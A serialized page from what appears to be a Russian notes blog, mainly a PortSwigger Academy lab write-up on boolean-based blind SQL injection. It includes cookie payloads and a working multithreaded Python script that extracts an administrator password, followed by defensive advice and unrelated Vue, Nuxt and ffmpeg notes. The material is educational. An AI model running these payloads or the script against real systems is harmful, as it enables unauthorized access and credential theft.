[{"data":1,"prerenderedAt":1566},["ShallowReactive",2],{"page-ru-\u002Fnotes\u002Fpentesting":3,"recent-ru":38,"posts-ru-pentesting":1150},{"id":4,"title":5,"author":6,"body":7,"date":6,"description":30,"extension":31,"image":6,"meta":32,"navigation":33,"path":34,"seo":35,"stem":36,"tags":6,"__hash__":37},"content_ru\u002Fnotes\u002Fpentesting\u002Findex.md","Пентест",null,{"type":8,"value":9,"toc":26},"minimark",[10,14],[11,12,5],"h1",{"id":13},"пентест",[15,16,17,18,25],"p",{},"Разборы лаб ",[19,20,24],"a",{"href":21,"rel":22},"https:\u002F\u002Fportswigger.net\u002Fweb-security",[23],"nofollow","PortSwigger Web Security Academy"," — SQL-инъекции, XSS, аутентификация и многое другое. Каждый пост включает теорию по уязвимости и пошаговый разбор лабы.",{"title":27,"searchDepth":28,"depth":28,"links":29},"",2,[],"Разборы лаб PortSwigger Web Security Academy — SQL-инъекции, XSS, аутентификация и многое другое. Каждый пост включает теорию по уязвимости и пошаговый разбор лабы.","md",{},true,"\u002Fnotes\u002Fpentesting",{"title":5,"description":30},"notes\u002Fpentesting\u002Findex","4SnQVL4KEf4yIW-z7W-naj_LihT4ItpxnXJFYn-6bU0",[39,672,974,1024],{"id":40,"title":41,"author":42,"body":43,"date":660,"description":661,"extension":31,"image":6,"meta":662,"navigation":33,"path":663,"seo":664,"stem":665,"tags":666,"__hash__":671},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)","apsyleg",{"type":8,"value":44,"toc":649},[45,49,54,61,81,85,109,113,120,123,132,139,142,180,183,187,192,199,208,219,223,230,245,248,252,259,600,606,617,621,624,629,645],[11,46,48],{"id":47},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[50,51,53],"h2",{"id":52},"уязвимость","Уязвимость",[15,55,56,60],{},[57,58,59],"strong",{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[15,62,63,64,67,68,72,73,76,77,80],{},"В данном варианте (",[57,65,66],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[69,70,71],"code",{},"TRUE"," или ",[69,74,75],{},"FALSE",". Конструируя условия вида ",[69,78,79],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[50,82,84],{"id":83},"лаборатория","Лаборатория",[15,86,87,90,91,96,99,102,103,105,108],{},[57,88,89],{},"Название:"," ",[19,92,95],{"href":93,"rel":94},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[23],"Blind SQL injection with conditional responses",[97,98],"br",{},[57,100,101],{},"Сложность:"," Practitioner",[97,104],{},[57,106,107],{},"Цель:"," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[50,110,112],{"id":111},"разведка","Разведка",[15,114,115,116,119],{},"Приложение хранит cookie ",[69,117,118],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.",[15,121,122],{},"Сначала подтверждаем точку инъекции, добавив кавычку:",[124,125,130],"pre",{"className":126,"code":128,"language":129},[127],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[69,131,128],{"__ignoreMap":27},[15,133,134,135,138],{},"Сообщение «Welcome back!» продолжает появляться — комментарий ",[69,136,137],{},"--"," нейтрализует остаток оригинального запроса, инъекция активна.",[15,140,141],{},"Проверяем булево поведение:",[124,143,147],{"className":144,"code":145,"language":146,"meta":27,"style":27},"language-sql shiki shiki-themes github-light github-dark","-- Условие TRUE → «Welcome back!» появляется\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- Условие FALSE → «Welcome back!» исчезает\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[69,148,149,157,162,168,174],{"__ignoreMap":27},[150,151,154],"span",{"class":152,"line":153},"line",1,[150,155,156],{},"-- Условие TRUE → «Welcome back!» появляется\n",[150,158,159],{"class":152,"line":28},[150,160,161],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[150,163,165],{"class":152,"line":164},3,[150,166,167],{"emptyLinePlaceholder":33},"\n",[150,169,171],{"class":152,"line":170},4,[150,172,173],{},"-- Условие FALSE → «Welcome back!» исчезает\n",[150,175,177],{"class":152,"line":176},5,[150,178,179],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[15,181,182],{},"Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.",[50,184,186],{"id":185},"эксплуатация","Эксплуатация",[188,189,191],"h3",{"id":190},"шаг-1-определяем-длину-пароля","Шаг 1 — Определяем длину пароля",[15,193,194,195,198],{},"Используем функцию ",[69,196,197],{},"LENGTH()",":",[124,200,202],{"className":144,"code":201,"language":146,"meta":27,"style":27},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[69,203,204],{"__ignoreMap":27},[150,205,206],{"class":152,"line":153},[150,207,201],{},[15,209,210,211,214,215,218],{},"«Welcome back!» появляется при ",[69,212,213],{},"= 20"," — пароль состоит из ",[57,216,217],{},"20 символов",".",[188,220,222],{"id":221},"шаг-2-извлекаем-символы","Шаг 2 — Извлекаем символы",[15,224,225,226,229],{},"Функция ",[69,227,228],{},"SUBSTRING(строка, позиция, длина)"," позволяет проверять по одному символу:",[124,231,233],{"className":144,"code":232,"language":146,"meta":27,"style":27},"-- Первый символ — 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[69,234,235,240],{"__ignoreMap":27},[150,236,237],{"class":152,"line":153},[150,238,239],{},"-- Первый символ — 'w'?\n",[150,241,242],{"class":152,"line":28},[150,243,244],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[15,246,247],{},"Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.",[188,249,251],{"id":250},"шаг-3-автоматизация-на-python","Шаг 3 — Автоматизация на Python",[15,253,254,255,258],{},"Скрипт использует ",[69,256,257],{},"ThreadPoolExecutor"," для параллельного выполнения 10 запросов одновременно:",[124,260,264],{"className":261,"code":262,"language":263,"meta":27,"style":27},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Определяем длину пароля...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Длина пароля: {n}\")\n            return n\n    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Пароль: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[69,265,266,271,276,281,285,290,296,302,308,313,319,325,331,336,341,347,353,359,365,371,376,381,387,393,399,405,411,417,423,429,434,439,445,451,457,462,468,474,479,484,490,496,502,508,514,520,526,532,538,544,549,554,560,566,572,578,583,588,594],{"__ignoreMap":27},[150,267,268],{"class":152,"line":153},[150,269,270],{},"import requests\n",[150,272,273],{"class":152,"line":28},[150,274,275],{},"import string\n",[150,277,278],{"class":152,"line":164},[150,279,280],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[150,282,283],{"class":152,"line":170},[150,284,167],{"emptyLinePlaceholder":33},[150,286,287],{"class":152,"line":176},[150,288,289],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[150,291,293],{"class":152,"line":292},6,[150,294,295],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[150,297,299],{"class":152,"line":298},7,[150,300,301],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[150,303,305],{"class":152,"line":304},8,[150,306,307],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[150,309,311],{"class":152,"line":310},9,[150,312,167],{"emptyLinePlaceholder":33},[150,314,316],{"class":152,"line":315},10,[150,317,318],{},"CHARSET = string.ascii_lowercase + string.digits\n",[150,320,322],{"class":152,"line":321},11,[150,323,324],{},"MAX_LENGTH = 30\n",[150,326,328],{"class":152,"line":327},12,[150,329,330],{},"THREADS = 10\n",[150,332,334],{"class":152,"line":333},13,[150,335,167],{"emptyLinePlaceholder":33},[150,337,339],{"class":152,"line":338},14,[150,340,167],{"emptyLinePlaceholder":33},[150,342,344],{"class":152,"line":343},15,[150,345,346],{},"def check(sql_condition: str) -> bool:\n",[150,348,350],{"class":152,"line":349},16,[150,351,352],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[150,354,356],{"class":152,"line":355},17,[150,357,358],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[150,360,362],{"class":152,"line":361},18,[150,363,364],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[150,366,368],{"class":152,"line":367},19,[150,369,370],{},"    return \"Welcome back\" in r.text\n",[150,372,374],{"class":152,"line":373},20,[150,375,167],{"emptyLinePlaceholder":33},[150,377,379],{"class":152,"line":378},21,[150,380,167],{"emptyLinePlaceholder":33},[150,382,384],{"class":152,"line":383},22,[150,385,386],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[150,388,390],{"class":152,"line":389},23,[150,391,392],{},"    print(\"[*] Определяем длину пароля...\")\n",[150,394,396],{"class":152,"line":395},24,[150,397,398],{},"    for n in range(1, max_len + 1):\n",[150,400,402],{"class":152,"line":401},25,[150,403,404],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[150,406,408],{"class":152,"line":407},26,[150,409,410],{},"        if check(condition):\n",[150,412,414],{"class":152,"line":413},27,[150,415,416],{},"            print(f\"[+] Длина пароля: {n}\")\n",[150,418,420],{"class":152,"line":419},28,[150,421,422],{},"            return n\n",[150,424,426],{"class":152,"line":425},29,[150,427,428],{},"    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n",[150,430,432],{"class":152,"line":431},30,[150,433,167],{"emptyLinePlaceholder":33},[150,435,437],{"class":152,"line":436},31,[150,438,167],{"emptyLinePlaceholder":33},[150,440,442],{"class":152,"line":441},32,[150,443,444],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[150,446,448],{"class":152,"line":447},33,[150,449,450],{},"    for c in CHARSET:\n",[150,452,454],{"class":152,"line":453},34,[150,455,456],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[150,458,460],{"class":152,"line":459},35,[150,461,410],{},[150,463,465],{"class":152,"line":464},36,[150,466,467],{},"            return pos, c\n",[150,469,471],{"class":152,"line":470},37,[150,472,473],{},"    return pos, \"?\"\n",[150,475,477],{"class":152,"line":476},38,[150,478,167],{"emptyLinePlaceholder":33},[150,480,482],{"class":152,"line":481},39,[150,483,167],{"emptyLinePlaceholder":33},[150,485,487],{"class":152,"line":486},40,[150,488,489],{},"def get_password(length: int) -> str:\n",[150,491,493],{"class":152,"line":492},41,[150,494,495],{},"    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n",[150,497,499],{"class":152,"line":498},42,[150,500,501],{},"    password = [\"?\"] * length\n",[150,503,505],{"class":152,"line":504},43,[150,506,507],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[150,509,511],{"class":152,"line":510},44,[150,512,513],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[150,515,517],{"class":152,"line":516},45,[150,518,519],{},"        for future in as_completed(futures):\n",[150,521,523],{"class":152,"line":522},46,[150,524,525],{},"            pos, char = future.result()\n",[150,527,529],{"class":152,"line":528},47,[150,530,531],{},"            password[pos - 1] = char\n",[150,533,535],{"class":152,"line":534},48,[150,536,537],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[150,539,541],{"class":152,"line":540},49,[150,542,543],{},"    return \"\".join(password)\n",[150,545,547],{"class":152,"line":546},50,[150,548,167],{"emptyLinePlaceholder":33},[150,550,552],{"class":152,"line":551},51,[150,553,167],{"emptyLinePlaceholder":33},[150,555,557],{"class":152,"line":556},52,[150,558,559],{},"def main():\n",[150,561,563],{"class":152,"line":562},53,[150,564,565],{},"    length = get_password_length()\n",[150,567,569],{"class":152,"line":568},54,[150,570,571],{},"    password = get_password(length)\n",[150,573,575],{"class":152,"line":574},55,[150,576,577],{},"    print(f\"\\n[+] Пароль: {password}\")\n",[150,579,581],{"class":152,"line":580},56,[150,582,167],{"emptyLinePlaceholder":33},[150,584,586],{"class":152,"line":585},57,[150,587,167],{"emptyLinePlaceholder":33},[150,589,591],{"class":152,"line":590},58,[150,592,593],{},"if __name__ == \"__main__\":\n",[150,595,597],{"class":152,"line":596},59,[150,598,599],{},"    main()\n",[15,601,602,603],{},"Результат: ",[69,604,605],{},"wfa3n32o7a6mb4xon7d6",[15,607,608,609,612,613,616],{},"Заходим в ",[69,610,611],{},"\u002Fmy-account"," как ",[69,614,615],{},"administrator"," с этим паролем — лаба решена.",[50,618,620],{"id":619},"вывод","Вывод",[15,622,623],{},"Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть \u002F нет) достаточно для извлечения всей базы.",[15,625,626],{},[57,627,628],{},"Как защититься:",[630,631,632,636,639],"ul",{},[633,634,635],"li",{},"Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию",[633,637,638],{},"Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку",[633,640,641,642],{},"Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице ",[69,643,644],{},"users",[646,647,648],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":27,"searchDepth":28,"depth":28,"links":650},[651,652,653,654,659],{"id":52,"depth":28,"text":53},{"id":83,"depth":28,"text":84},{"id":111,"depth":28,"text":112},{"id":185,"depth":28,"text":186,"children":655},[656,657,658],{"id":190,"depth":164,"text":191},{"id":221,"depth":164,"text":222},{"id":250,"depth":164,"text":251},{"id":619,"depth":28,"text":620},"2026-03-28","Как эксплуатировать слепую SQL-инъекцию через tracking cookie методом булевого вывода и многопоточного Python-скрипта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":41,"description":661},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[667,668,669,670],"portswigger","sql-injection","blind-sqli","web-security","VT_XCLAwWSq5eUzidLCyFph4qOXnC4jczwBb8lA_p_w",{"id":673,"title":674,"author":675,"body":676,"date":964,"description":965,"extension":31,"image":6,"meta":966,"navigation":33,"path":967,"seo":968,"stem":969,"tags":970,"__hash__":973},"content_ru\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Создание стейта компонента через reactive() как в Options API","Олег Анучин",{"type":8,"value":677,"toc":962},[678,682,692,703,959],[11,679,681],{"id":680},"создание-стейта-компонента-через-reactive","Создание стейта компонента через reactive()",[15,683,684,685,688,689,218],{},"В Options API мы можем использовать ",[69,686,687],{},"data()"," для создания стейта компонента и обращаться к нему через ",[69,690,691],{},"this",[15,693,694,695,698,699,702],{},"С помощью ",[69,696,697],{},"reactive()"," из Composition API можно добиться того же — гораздо удобнее, чем ",[69,700,701],{},"ref()"," для нескольких свойств.",[124,704,708],{"className":705,"code":706,"language":707,"meta":27,"style":27},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Цена: {{ price }}\u003C\u002Fp>\n  \u003Cp>Количество: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Итого: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[69,709,710,723,739,743,754,763,781,792,800,805,809,829,843,847,851,858,869,874,879,884,889,898,902,911,925,938,951],{"__ignoreMap":27},[150,711,712,716,720],{"class":152,"line":153},[150,713,715],{"class":714},"sVt8B","\u003C",[150,717,719],{"class":718},"s9eBZ","script",[150,721,722],{"class":714},">\n",[150,724,725,729,732,735],{"class":152,"line":28},[150,726,728],{"class":727},"szBVR","import",[150,730,731],{"class":714}," { computed, reactive, toRefs } ",[150,733,734],{"class":727},"from",[150,736,738],{"class":737},"sZZnC"," 'vue'\n",[150,740,741],{"class":152,"line":164},[150,742,167],{"emptyLinePlaceholder":33},[150,744,745,748,751],{"class":152,"line":170},[150,746,747],{"class":727},"export",[150,749,750],{"class":727}," default",[150,752,753],{"class":714}," {\n",[150,755,756,760],{"class":152,"line":176},[150,757,759],{"class":758},"sScJk","  setup",[150,761,762],{"class":714},"() {\n",[150,764,765,768,772,775,778],{"class":152,"line":292},[150,766,767],{"class":727},"    const",[150,769,771],{"class":770},"sj4cs"," state",[150,773,774],{"class":727}," =",[150,776,777],{"class":758}," reactive",[150,779,780],{"class":714},"({\n",[150,782,783,786,789],{"class":152,"line":298},[150,784,785],{"class":714},"      price: ",[150,787,788],{"class":770},"2",[150,790,791],{"class":714},",\n",[150,793,794,797],{"class":152,"line":304},[150,795,796],{"class":714},"      quantity: ",[150,798,799],{"class":770},"5\n",[150,801,802],{"class":152,"line":310},[150,803,804],{"class":714},"    })\n",[150,806,807],{"class":152,"line":315},[150,808,167],{"emptyLinePlaceholder":33},[150,810,811,813,816,818,821,824,827],{"class":152,"line":321},[150,812,767],{"class":727},[150,814,815],{"class":770}," total",[150,817,774],{"class":727},[150,819,820],{"class":758}," computed",[150,822,823],{"class":714},"(() ",[150,825,826],{"class":727},"=>",[150,828,753],{"class":714},[150,830,831,834,837,840],{"class":152,"line":327},[150,832,833],{"class":727},"      return",[150,835,836],{"class":714}," state.price ",[150,838,839],{"class":727},"*",[150,841,842],{"class":714}," state.quantity\n",[150,844,845],{"class":152,"line":333},[150,846,804],{"class":714},[150,848,849],{"class":152,"line":338},[150,850,167],{"emptyLinePlaceholder":33},[150,852,853,856],{"class":152,"line":343},[150,854,855],{"class":727},"    return",[150,857,753],{"class":714},[150,859,860,863,866],{"class":152,"line":349},[150,861,862],{"class":727},"      ...",[150,864,865],{"class":758},"toRefs",[150,867,868],{"class":714},"(state),\n",[150,870,871],{"class":152,"line":355},[150,872,873],{"class":714},"      total\n",[150,875,876],{"class":152,"line":361},[150,877,878],{"class":714},"    }\n",[150,880,881],{"class":152,"line":367},[150,882,883],{"class":714},"  }\n",[150,885,886],{"class":152,"line":373},[150,887,888],{"class":714},"}\n",[150,890,891,894,896],{"class":152,"line":378},[150,892,893],{"class":714},"\u003C\u002F",[150,895,719],{"class":718},[150,897,722],{"class":714},[150,899,900],{"class":152,"line":383},[150,901,167],{"emptyLinePlaceholder":33},[150,903,904,906,909],{"class":152,"line":389},[150,905,715],{"class":714},[150,907,908],{"class":718},"template",[150,910,722],{"class":714},[150,912,913,916,918,921,923],{"class":152,"line":395},[150,914,915],{"class":714},"  \u003C",[150,917,15],{"class":718},[150,919,920],{"class":714},">Цена: {{ price }}\u003C\u002F",[150,922,15],{"class":718},[150,924,722],{"class":714},[150,926,927,929,931,934,936],{"class":152,"line":401},[150,928,915],{"class":714},[150,930,15],{"class":718},[150,932,933],{"class":714},">Количество: {{ quantity }}\u003C\u002F",[150,935,15],{"class":718},[150,937,722],{"class":714},[150,939,940,942,944,947,949],{"class":152,"line":407},[150,941,915],{"class":714},[150,943,15],{"class":718},[150,945,946],{"class":714},">Итого: {{ total }}\u003C\u002F",[150,948,15],{"class":718},[150,950,722],{"class":714},[150,952,953,955,957],{"class":152,"line":413},[150,954,893],{"class":714},[150,956,908],{"class":718},[150,958,722],{"class":714},[646,960,961],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":27,"searchDepth":28,"depth":28,"links":963},[],"2022-08-20","Как использовать reactive() в Vue 3 Composition API для создания стейта аналогично data() в Options API",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":674,"description":965},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[707,971,972],"composition-api","reactive","AVpr__V_hvj6bFD9-D94muDEH5YF4HZb7akQwYPFqd8",{"id":975,"title":976,"author":675,"body":977,"date":1014,"description":1015,"extension":31,"image":6,"meta":1016,"navigation":33,"path":1017,"seo":1018,"stem":1019,"tags":1020,"__hash__":1023},"content_ru\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","Как обновить Nuxt 3 проект",{"type":8,"value":978,"toc":1012},[979,982,1000,1003,1009],[11,980,976],{"id":981},"как-обновить-nuxt-3-проект",[124,983,987],{"className":984,"code":985,"language":986,"meta":27,"style":27},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[69,988,989],{"__ignoreMap":27},[150,990,991,994,997],{"class":152,"line":153},[150,992,993],{"class":758},"yarn",[150,995,996],{"class":737}," nuxi",[150,998,999],{"class":737}," upgrade\n",[15,1001,1002],{},"Пример вывода:",[124,1004,1007],{"className":1005,"code":1006,"language":129},[127],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[69,1008,1006],{"__ignoreMap":27},[646,1010,1011],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":27,"searchDepth":28,"depth":28,"links":1013},[],"2022-08-15","Простая команда для обновления Nuxt 3 до последней версии",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":976,"description":1015},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1021,707,1022],"nuxt","cli","_HR0DYn8dvm9dDN6C0NI3IBdhwQBiKDVaxiB0n_y3VA",{"id":1025,"title":1026,"author":675,"body":1027,"date":1139,"description":1140,"extension":31,"image":6,"meta":1141,"navigation":33,"path":1142,"seo":1143,"stem":1144,"tags":1145,"__hash__":1149},"content_ru\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Пакетная конвертация FLAC в AIFF через ffmpeg",{"type":8,"value":1028,"toc":1137},[1029,1032,1035,1051,1061,1134],[11,1030,1026],{"id":1031},"пакетная-конвертация-flac-в-aiff-через-ffmpeg",[15,1033,1034],{},"Нужен установленный ffmpeg. Для macOS:",[124,1036,1038],{"className":984,"code":1037,"language":986,"meta":27,"style":27},"brew install ffmpeg\n",[69,1039,1040],{"__ignoreMap":27},[150,1041,1042,1045,1048],{"class":152,"line":153},[150,1043,1044],{"class":758},"brew",[150,1046,1047],{"class":737}," install",[150,1049,1050],{"class":737}," ffmpeg\n",[15,1052,1053,1054,1057,1058,198],{},"Эта команда сконвертирует все ",[69,1055,1056],{},"*.flac"," файлы в ",[69,1059,1060],{},"*.aiff",[124,1062,1064],{"className":984,"code":1063,"language":986,"meta":27,"style":27},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[69,1065,1066],{"__ignoreMap":27},[150,1067,1068,1071,1074,1077,1080,1083,1086,1089,1092,1095,1098,1101,1104,1107,1110,1113,1116,1119,1122,1124,1126,1129,1131],{"class":152,"line":153},[150,1069,1070],{"class":727},"for",[150,1072,1073],{"class":714}," i ",[150,1075,1076],{"class":727},"in",[150,1078,1079],{"class":737}," *.flac",[150,1081,1082],{"class":714},"; ",[150,1084,1085],{"class":727},"do",[150,1087,1088],{"class":758}," ffmpeg",[150,1090,1091],{"class":770}," -i",[150,1093,1094],{"class":737}," \"",[150,1096,1097],{"class":714},"$i",[150,1099,1100],{"class":737},"\"",[150,1102,1103],{"class":770}," -write_id3v2",[150,1105,1106],{"class":770}," 1",[150,1108,1109],{"class":770}," -c:v",[150,1111,1112],{"class":737}," copy",[150,1114,1115],{"class":737}," \"${",[150,1117,1118],{"class":714},"i",[150,1120,1121],{"class":727},"%",[150,1123,218],{"class":737},[150,1125,839],{"class":727},[150,1127,1128],{"class":737},"}.aiff\"",[150,1130,1082],{"class":714},[150,1132,1133],{"class":727},"done\n",[646,1135,1136],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: 